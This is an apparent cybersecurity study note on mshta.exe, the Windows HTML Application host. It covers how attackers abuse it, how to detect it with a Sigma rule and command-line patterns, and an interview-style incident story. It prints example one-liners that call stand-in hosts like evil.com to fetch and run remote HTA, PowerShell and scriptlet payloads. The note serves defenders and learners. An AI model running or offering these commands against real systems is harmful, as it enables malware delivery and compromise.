Select a result to preview

mshta.exe

##cybersecurity/malware/lolbas ##cybersecurity/blue-team/detection ##interview/concepts

mshta.exe

One-liner: Windows binary that executes HTA files, commonly abused to run malicious VBScript/JavaScript payloads while bypassing application controls.

🎯 What Is It?

mshta.exe (Microsoft HTML Application Host) is a legitimate Windows utility located at C:\Windows\System32\mshta.exe. It's designed to execute HTA (HTML Application) filesβ€”HTML-based applications that run with desktop privileges outside the browser sandbox.

πŸ€” Why It Matters

πŸ”¬ How It Works

Legitimate Execution

# Run a local HTA file
mshta.exe C:\Tools\admin_utility.hta

# Run with specific window properties
mshta.exe "about:<html><script>alert('Hello')</script></html>"

Malicious Execution Patterns

Technique Command Example
Remote HTA mshta.exe http://evil.com/payload.hta
Inline VBScript mshta.exe vbscript:Execute("...")
Inline JavaScript mshta.exe javascript:eval("...")
Base64 payload HTA with encoded PowerShell inside

Attack Flow

Phishing email with .hta attachment
              ↓
User double-clicks β†’ mshta.exe launches
              ↓
VBScript in HTA creates WScript.Shell
              ↓
Spawns powershell.exe with encoded command
              ↓
Downloads & executes C2 beacon

🚨 Malicious Usage Examples

Remote HTA Execution

mshta.exe http://attacker.com/payload.hta

Inline VBScript

mshta.exe vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -ep bypass -c IEX(IWR http://evil.com/shell.ps1)"":close")

JavaScript with COM Object

mshta.exe javascript:a=GetObject("script:http://evil.com/payload.sct").Exec();close();

πŸ›‘οΈ Detection & Prevention

How to Detect

Process Monitoring

Suspicious Command-Line Patterns

mshta.exe http://              # Remote execution
mshta.exe vbscript:            # Inline VBScript
mshta.exe javascript:          # Inline JavaScript
mshta.exe *FromBase64*         # Encoded payloads

Sigma Rule

title: Mshta Suspicious Execution
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith: '\mshta.exe'
  selection_child:
    Image|endswith:
      - '\powershell.exe'
      - '\cmd.exe'
      - '\wscript.exe'
      - '\cscript.exe'
  condition: selection_parent and selection_child
level: high

Sysmon Event ID 1 (Process Creation)

Look for:

How to Prevent

🎀 Interview Angles

Common Questions

STAR Story

Situation: SIEM alert triggered on mshta.exe spawning powershell.exe with Base64-encoded arguments.
Task: Investigate the alert and determine if the host was compromised.
Action: Decoded the Base64 payload revealing a Cobalt Strike stager. Traced the initial vector to a phishing email with an HTA attachment. Isolated the host and performed memory forensics.
Result: Identified the C2 channel, blocked the infrastructure, and prevented lateral movement. Added detection for this specific HTA pattern.

πŸ“š References